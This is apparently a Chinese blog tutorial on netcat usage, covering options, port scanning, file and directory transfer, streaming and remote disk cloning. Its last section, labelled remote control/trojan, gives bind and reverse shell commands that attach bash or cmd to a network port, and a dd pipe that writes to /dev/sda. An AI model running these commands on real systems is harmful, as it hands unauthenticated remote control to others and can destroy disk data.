nc工具详解
nc 安装
yum install -y nc
参数:
Command Summary:
- Use IPv4
- Use IPv6
-D Enable the debug socket option
-d Detach from stdin #无图形界面使用后台模式
-h This help text #获取帮助信息
-i secs Delay interval for lines sent, ports scanned #延时设置,端口扫描时使用
-k Keep inbound sockets open for multiple connects
-l Listen mode, for inbound connects #监听入站信息
-n Suppress name/port resolutions #后跟ip地址
-p port Specify local port for remote connects
-r Randomize remote ports
-S Enable the TCP MD5 signature option
-s addr Local source address #发送数据源地址
-T ToS Set IP Type of Service
-C Send CRLF as line-ending
-t Answer TELNET negotiation #以TELNET的形式应答入站请求
-U Use UNIX domain socket
-u UDP mode #使用UDP协议
-v Verbose #显示详细的输出内容
-w secs Timeout for connects and final net reads #超时秒数
-X proto Proxy protocol: "", "" (SOCKS) or "connect"
-x addr[:port] Specify proxy address and port
-z Zero-I/O mode [used for scanning] # I/O 模式,扫描时使用
nc作为客户端:
nc -nvz 10.104.11.107 - 默认探测TCP端口
nc -nvzu 10.104.11.107 - #探测UDP端口
作用:
传输文本信息
nc -l #客户端开启一个端口
netstat -pantu |grep #查看33端口是否打开
nc -l >ps.txt 监听到的信息输出到pa.txt
进行连接:
nc -nvv 10.104.11.128
ls -l |nc -nv 10.104.11.128 输出信息打印到10.104.11.128主机
传输文件
A: nc -l >.html
B: nc -nv 10.104.11.128 <.html
或者
A:nc -l <ps.txt
B: nc -nv 10.104.11.128 >ps.txt
传输目录(先打包)
A:tar -cvf - music/|nc -l
B:nc -nv 10.104.11.128 |tar -xvf -
加密传输文件(先加密在传送再解密)
A:nc -l |mcrypt --flush -Fbqd(加密) -a rijndael- -m ecb >.mp3
B:mcrypt --flush -Fbq(解密) -a rijndael- -m ecb <.mp3 |nc -nv 10.104.11.128
#对称加密两边密码要相同
流媒体服务
A: cat .mp3|nc -l
B: nc -nv 10.104.11.107|mplayer -vo xll -cache - #指定媒体播放器进行播放
端口扫描
nc -nvz 10.104.11.128
远程克隆硬盘
A:nc -l |dd of =/dev/sda
B:dd if=/dev/sda |nc -nv 10.104.11.128
远程控制/木马
正向:
A:nc -l -c bash
B:nc 10.104.11.128
反向:
A:nc -l
B:nc 10.104.11.128 -c bash
注:Windows用户把bash改成cmd
缺点:缺乏加密与身份认证
nc工具详解的更多相关文章
- [转载]nc命令详解
最近在搞反向连接,试来试去发现最好的工具还是nc.正好趁这个机会把nc的用法总结一下: 1.端口扫描: nc -vv ip port 例:nc -vv 192.168.1.1 5000 扫描192.1 ...
- Chrome开发者工具详解(5)-Application、Security、Audits面板
Chrome开发者工具详解(5)-Application.Security.Audits面板 这篇文章是Chrome开发者工具详解这一系列的最后一篇,介绍DevTools最后的三个面板功能-Appli ...
- Chrome开发者工具详解(4)-Profiles面板
Chrome开发者工具详解(4)-Profiles面板 如果上篇中的Timeline面板所提供的信息不能满足你的要求,你可以使用Profiles面板,利用这个面板你可以追踪网页程序的内存泄漏问题,进一 ...
- Chrome开发者工具详解(3)-Timeline面板
Chrome开发者工具详解(3)-Timeline面板 注: 这一篇主要讲解面板Timeline,参考了Google的相关文档,主要用于公司内部技术分享.. Timeline面板 Timeline面板 ...
- Chrome开发者工具详解(2)-Network面板
Chrome开发者工具详解(2)-Network面板 注: 这一篇主要讲解面板Network,参考了Google的相关文档,主要用于公司内部技术分享. Chrome开发者工具面板 面板上包含了Elem ...
- Chrome开发者工具详解(1)-Elements、Console、Sources面板
Chrome开发者工具详解(1)-Elements.Console.Sources面板 Chrome开发者工具面板 面板上包含了Elements面板.Console面板.Sources面板.Netwo ...
- oracle tkprof 工具详解
oracle tkprof 工具详解 今天是2013-09-26,进行tkprof工具使用学习,在此记录一下笔记: 一)查看需要跟踪会话信息: select s.sid,s.serial#,s.us ...
- [转帖]前端-chromeF12 谷歌开发者工具详解 Network篇
前端-chromeF12 谷歌开发者工具详解 Network篇 https://blog.csdn.net/qq_39892932/article/details/82493922 blog 也是原作 ...
- [转帖]前端-chromeF12 谷歌开发者工具详解 Sources篇
前端-chromeF12 谷歌开发者工具详解 Sources篇 原贴地址:https://blog.csdn.net/qq_39892932/article/details/82498748 cons ...
随机推荐
- Executor线程池
Executor线程池框架: 使用线程池的优点: 1.重用存在的线程 2.减少对象创建.消亡的开销 3.性能佳 4.可有效控制最大并发线程数,提高系统资源的使用率 5.避免过多资源竞争,避免堵塞 6. ...
- java Swing 练习
import javax.swing.JFrame; public class Swingtest { static final int WIDTH = 500; static final int H ...
- R: 聚类分析
判别与聚类的比较: 聚类分析和判别分析有相似的作用,都是起到分类的作用. 判别分析是已知分类然后总结出判别规则,是一种有指导的学习: 聚类分析则是有了一批样本,不知道它们的分类,甚至连分成几类也不知道 ...
- scau 2015寒假训练
并不是很正规的.每个人自愿参与自愿退出,马哥找题(马哥超nice么么哒). 放假第一周与放假结束前一周 2015-01-26 http://acm.hust.edu.cn/vjudge/contest ...
- clone方法详解
http://blog.csdn.net/zhangjg_blog/article/details/18369201/
- POJ 2836 Rectangular Covering (状压DP)
题意:平面上有 n (2 ≤ n ≤ 15) 个点,现用平行于坐标轴的矩形去覆盖所有点,每个矩形至少盖两个点,矩形面积不可为0,求这些矩形的最小面积. 析:先预处理所有的矩形,然后dp[s] 表示 状 ...
- 2019年第十届蓝桥杯省赛-糖果(一维状压dp)
看到20的数据量很容易想到状压dp. 开1<<20大小的数组来记录状态,枚举n个糖包,将其放入不同状态中(类似01背包思想) 时间复杂度O(n*(2^20)). import java.u ...
- tableView 的协议方法
需遵守协议 UITableViewDataSource, UITableViewDelegate,并设置代理 UITableViewDelegate 继承自 UIScrollViewDelegate ...
- 对MySQL性能影响较大的五类配置参数
以下主要是对MySQL 性能影响关系紧密的五大配置参数的介绍. 一. 连接 连接通常来自Web 服务器,下面列出了一些与连接有关的参数,以及该如何设置它们. (一). ...
- poj2947(高斯消元解同模方程组)
题目链接:http://poj.org/problem?id=2947 题意:有n 种装饰物,m 个已知条件,每个已知条件的描述如下: p start enda1, a2......ap (1< ...